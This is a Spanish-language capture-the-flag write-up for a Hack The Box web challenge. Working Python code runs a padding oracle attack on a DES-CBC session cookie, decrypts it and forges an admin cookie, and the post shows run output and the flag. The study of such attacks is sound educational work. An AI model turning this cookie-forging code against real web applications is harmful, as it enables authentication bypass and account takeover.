I know Mag1k
7 minutos de lectura
Se nos proporciona el siguiente sitio web:
En primer lugar, debemos registrar una nueva cuenta:
Ahora podemos iniciar sesión:
Y tenemos acceso a nuestro dashboard:
Podemos ver que el servidor establece dos cookies para manejar la autenticación:
Análisis del cifrado
La que parece interesante es iknowmag1k
, que está codificada en base64 (y codificación URL: %2B
es +
, %2F
es /
y %3D
es =
). Si lo decodificamos, tenemos 40 bytes que parecen aleatorios:
$ echo FQFQj7Z5CjqRtQnnJ6Ve5SkqIpmUWALSRp6k6ELH+G/oErSPjLuBxA== | base64 -d | xxd
00000000: 1501 508f b679 0a3a 91b5 09e7 27a5 5ee5 ..P..y.:....'.^.
00000010: 292a 2299 9458 02d2 469e a4e8 42c7 f86f )*"..X..F...B..o
00000020: e812 b48f 8cbb 81c4 ........
$ echo FQFQj7Z5CjqRtQnnJ6Ve5SkqIpmUWALSRp6k6ELH+G/oErSPjLuBxA== | base64 -d | wc -c
40
Vamos a modificar el último byte de la cookie:
$ echo FQFQj7Z5CjqRtQnnJ6Ve5SkqIpmUWALSRp6k6ELH+G/oErSPjLuBxA== | base64 -d | xxd -p | tr -d \\n
1501508fb6790a3a91b509e727a55ee5292a2299945802d2469ea4e842c7f86fe812b48f8cbb81c4
$ echo 1501508fb6790a3a91b509e727a55ee5292a2299945802d2469ea4e842c7f86fe812b48f8cbb81c3 | xxd -r -p | base64
FQFQj7Z5CjqRtQnnJ6Ve5SkqIpmUWALSRp6k6ELH+G/oErSPjLuBww==
Ahora podemos actualizar la cookie en el navegador y actualizar la página:
Ahora no vemos el nombre de usuario. Y además, el servidor responde con error 500 Internal Server Error:
Por lo tanto, debemos haber estropeado algo en la cookie. Entonces, la cookie no es aleatoria sino que está cifrada.
Si creamos otra cuenta con un nombre más grande, veremos que la cookie ahora contiene 56 bytes:
$ echo Zb899uoBuMrdQt785d2q41Tt2g/HquVRw6kR8BE/cdOOdryafL7k/1zqT3uEsSPVIAKxpjIcwIU= | base64 -d | wc -c
56
Entonces, agregar 8 caracteres adicionales al nombre de usuario da como resultado 16 bytes más cifrados. Esta es una señal de que el servidor usa un cifrado en bloque y, por lo tanto, debe haber una implementación de relleno.
El cifrado en bloque no es AES porque los bloques tendrían 16 bytes, y el número de bytes de la cookie no es divisible entre 16. Por lo tanto, el tamaño del bloque debe ser 8, por lo que estamos tratando con DES en modo CBC:
Probablemente tendremos que realizar un Padding Oracle Attack para descifrar la cookie y luego cifraremos otra cookie para acceder a un panel de administración.
Padding Oracle Attack
La implementación del relleno más común es PKCS7, que simplemente agrega algunos bytes al mensaje de la siguiente manera:
$ python3 -q
>>> from Crypto.Util.Padding import pad
>>> pad(b'asdf', 16)
b'asdf\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
>>> pad(b'asdfasdf', 16)
b'asdfasdf\x08\x08\x08\x08\x08\x08\x08\x08'
>>> pad(b'asdfasdfasdf', 16)
b'asdfasdfasdf\x04\x04\x04\x04'
>>> pad(b'asdfasdfasdfasdf', 16)
b'asdfasdfasdfasdf\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
>>> pad(b'asdf', 8)
b'asdf\x04\x04\x04\x04'
>>> pad(b'asdfasdf', 8)
b'asdfasdf\x08\x08\x08\x08\x08\x08\x08\x08'
>>> pad(b'asdfasdfas', 8)
b'asdfasdfas\x06\x06\x06\x06\x06\x06'
>>> pad(b'asdfasdfasd', 8)
b'asdfasdfasd\x05\x05\x05\x05\x05'
>>> pad(b'asdfasdfasdf', 8)
b'asdfasdfasdf\x04\x04\x04\x04'
El relleno es predecible, porque los bytes de relleno son solo el número de bytes restantes para llenar un bloque en formato bytes.
Una vez que el servidor descifra la cookie, elimina el relleno. El servidor es un oráculo de relleno porque si el relleno es correcto, muestra nuestro dashboard. De lo contrario, el servidor envía un error 500 Internal Server Error.
El Padding Oracle Attack funciona de la siguiente manera:
Podemos ajustar el segundo bloque de texto cifrado ($\mathrm{ct}[j - 1]$), lo que afecta directamente al último bloque de texto claro ($\mathrm{pt}[j]$). La idea es iterar el último byte de 0x00
a 0xff
hasta que encontremos uno que resulte en 0x01
(el primer byte de relleno de PKCS7). En este punto, el servidor mostrará un mensaje exitoso. Sea $B_i$ este byte “mágico”. Dado que no hay error de relleno, estas condiciones se mantienen:
$$ B_i \oplus \mathrm{DES.dec}(\mathrm{ct}[j])_i = \mathrm{pad}_i \iff \mathrm{DES.dec}(\mathrm{ct}[j])_i = B_i \oplus \mathrm{pad}_i $$
Entonces, el byte de texto claro $\mathrm{pt}[j]_i$ se calcula de la siguiente manera:
$$ \mathrm{pt}[j]_i = \mathrm{ct}[j - 1]_i \oplus \mathrm{DES.dec}(\mathrm{ct}[j])_i $$
Dado que el IV se envía con el texto cifrado, podemos simplificar el esquema de ataque a este:
Pruebas
Ahora, usaremos la siguiente función de Python para el oráculo de relleno:
def oracle(cookie: str) -> bool:
global url
global phpsessid
r = requests.get(f'{url}/profile.php', cookies={
'PHPSESSID': phpsessid,
'iknowmag1k': cookie
})
return r.status_code != 500
Y podemos hacer lo siguiente para registrarnos, iniciar sesión y tomar las cookies relevantes:
def main():
global url
global phpsessid
if len(sys.argv) != 2:
print(f'Usage: python3 {sys.argv[0]} <host:port>')
exit(1)
url = f'http://{sys.argv[1]}'
s = requests.session()
s.post(f'{url}/register.php', data={
'username': 'asdf',
'email': 'asdf@asdf.com',
'password': 'asdffdsa',
'confirm': 'asdffdsa'
})
s.post(f'{url}/login.php', data={
'username': 'asdf',
'password': 'asdffdsa',
})
phpsessid = s.cookies['PHPSESSID']
iknowmag1k = s.cookies['iknowmag1k']
log.info(f'PHPSESSID: {phpsessid}')
log.info(f'iknowmag1k: {iknowmag1k}')
En primer lugar, dividimos la cookie en bloques de 8 bytes:
iknowmag1k = b64d(unquote(iknowmag1k))
blocks = [iknowmag1k[i:i + 8] for i in range(0, len(iknowmag1k), 8)]
Ahora, podemos realizar un Padding Oracle Attack para encontrar el carácter de texto claro del último byte del último bloque:
ct_block = blocks[-1]
prev_block = blocks[-2]
for b in range(256):
block = bytes([0] * 7 + [b])
cookie = quote(b64e(block + ct_block))
if oracle(cookie):
dec = b ^ 0x01
pt = bytes([prev_block[-1] ^ dec])
print(pt)
break
$ python3 solve.py 134.122.101.249:30015
[*] PHPSESSID: ogkh3f77n05pmatkfoh5o8ips6
[*] iknowmag1k: vctCAXksA%2BHgw9p1P%2F9UaNhqtxuqlkhmTtxnKnpEJ1EEdWrK5th6Ag%3D%3D
b'\x03'
$ python3 solve.py 134.122.101.249:30015
[*] PHPSESSID: kqf9u5t4i2156cqv0n5c0jnha7
[*] iknowmag1k: vQMfBFF43WNqjW2WWG1UIOWHQ%2FDdLRkSsMUHPmPNC7lzECYpHJiCFw%3D%3D
b'\x03'
$ python3 solve.py 134.122.101.249:30015
[*] PHPSESSID: 3b5mnm76kgfuuoaenr3thnivu6
[*] iknowmag1k: abpONIveuq9nS4G%2FZ7G9BY2XtDwl3CzGWgrADHxKFzJhuX6eUiTbDw%3D%3D
b'\x03'
Como se puede ver, estamos obteniendo 0x03
, que tiene sentido debido al relleno PKCS7.
Nótese que cuando no hay error, aplicamos XOR con 0x01
, porque esperamos un relleno de un solo byte. Para continuar con el ataque, necesitamos que el relleno sea "\x02\x02"
. Como ya sabemos el último byte, podemos forzar el último byte de texto claro a que sea \x02
, así que iteramos el penúltimo byte hasta que no haya error:
for b in range(256):
block = bytes([0] * 6 + [b] + [dec ^ 0x02])
cookie = quote(b64e(block + ct_block))
if oracle(cookie):
dec = b ^ 0x02
pt = bytes([prev_block[-2] ^ dec])
print(pt)
break
$ python3 solve.py 134.122.101.249:30015
[*] PHPSESSID: sg8tkeof8qbb8q81aivuujblt5
[*] iknowmag1k: JvZLT6WH327eIDtcmRG0Rvjpjd1K1qx3gfSqNmlyqILN57ybZy3BJw%3D%3D
b'\x03'
b'\x03'
Descifrado
Muy bien, generalizaremos para todos los caracteres de un bloque en una función:
def decrypt_block(ct_block: bytes) -> bytes:
dec = [0] * 8
k = []
for i in range(8):
for b in range(256):
block = bytes([0] * (7 - i) + [b] + k)
cookie = quote(b64e(block + ct_block))
if oracle(cookie):
dec[7 - i] = b ^ (i + 1)
k = [(i + 2) ^ dec[7 - j] for j in range(i + 1)][::-1]
break
return bytes(dec)
Ahora podemos descifrar un bloque completo de 8 bytes:
current_block = blocks[-1]
prev_block = blocks[-2]
dec = decrypt_block(current_block)
plaintext = xor(dec, prev_block) + plaintext
print(plaintext)
$ python3 solve.py 134.122.101.249:30015
[*] PHPSESSID: e97d6b0bg766paq53nfiipniq1
[*] iknowmag1k: 64vMeA4l9Nf9SN4kKSa1AWbRDVVpZm%2F5n5tcOBuyrL5y%2B9m4a0siNA%3D%3D
b'ser"}\x03\x03\x03'
Perfecto, ahora es momento de descifrar la cookie completa (también agregué algunos indicadores de progreso con pwntools
):
for m in range(len(blocks) - 1):
current_block = blocks[-1 - m]
prev_block = blocks[-2 - m]
dec = decrypt_block(current_block)
plaintext = xor(dec, prev_block) + plaintext
dec_prog.status(str(plaintext))
dec_prog.success(str(plaintext))
$ python3 solve.py 134.122.101.249:30015
[*] PHPSESSID: las5em34op5addcv86ap1sbig7
[*] iknowmag1k: 8%2BgJhWJf%2FaR79lcmw0Q9PpSrEekCPow1aSZiWaWPBn594EbgeUnCUA%3D%3D
[+] Decrypted: b'{"user":"asdf","role":"user"}\x03\x03\x03'
[▘] Bytes: 8 / 8
Esperaba ver la flag aquí… pero parece que necesitamos obtener acceso como administrador. Esta es la descripción del reto:
Can you get to the profile page of the admin?
Podemos adivinar que necesitamos cifrar {"user":"asdf","role":"admin"}
en la cookie.¡Afortunadamente, el Padding Oracle Attack es tan poderoso que incluso puede usarse para cifrar información arbitraria!
Cifrado
Usaremos el siguiente código para cifrar los datos en want
:
want = b'{"user":"asdf","role":"admin"}\x02\x02'
ct = b'\0' * 8
encrypted = b''
while want:
block, want = want[-8:], want[:-8]
dec = decrypt_block(ct[:8])
ct = xor(bytes(dec), block) + ct
assert oracle(quote(b64e(ct)))
encrypted = block + encrypted
enc_prog.status(str(encrypted))
cookie = quote(b64e(ct))
poa.success()
enc_prog.success(cookie)
Respiremos profundamente y analicemos lo anterior. Primero, tomamos un bloque arbitrario de texto cifrado (todos bytes nulos) y llamamos a la función decrypt_block
. Obtendremos el texto claro correspondiente (no nos importa esto). La clave es que controlamos el IV, por lo que podemos calcular un IV de tal manera que el XOR entre el IV y la salida del descifrador dé como resultado el texto claro que queremos (dmin"}\x02\x02
):
Luego, este IV especial se toma como el siguiente bloque de texto cifrado para descifrar:
Entonces, podemos obtener otro IV que hará que el texto claro resulte en lo que deseamos. Y todo este proceso se automatiza en el fragmento de código anterior.
Usando esto, podemos cifrar cualquier mensaje, para que podamos falsificar la cookie e iniciar sesión como administrador. Finalmente, podemos agregar más código para extraer la flag del código HTML:
r = requests.get(f'{url}/profile.php', cookies={
'PHPSESSID': phpsessid,
'iknowmag1k': cookie
})
log.success('Flag: ' + re.findall(r'HTB\{.*?\}', r.text)[0])
Flag
Si ejecutamos el script, encontraremos la flag después de unos 10 minutos:
$ python3 solve.py 134.122.101.249:30015
[*] PHPSESSID: p18u75484rfkv6ntpdnpbkvar7
[*] iknowmag1k: RNIGRz8VJdPbnP0rlSenxXDeYCWAsIoxGS6JlNddO8wSpkWZ9nPNDw%3D%3D
[+] Decrypted: b'{"user":"asdf","role":"user"}\x03\x03\x03'
[+] Encrypted: 1sTI9HtrAIrxUJ%2BQfHTNi1ArH3JXLFFyNQMrqEHXZZwAAAAAAAAAAA%3D%3D
[+] Bytes: Done
[+] Flag: HTB{Padd1NG_Or4cl3z_AR3_WaY_T0o_6en3r0ys_ArenT_tHey???}
El script completo se puede encontrar aquí: solve.py
.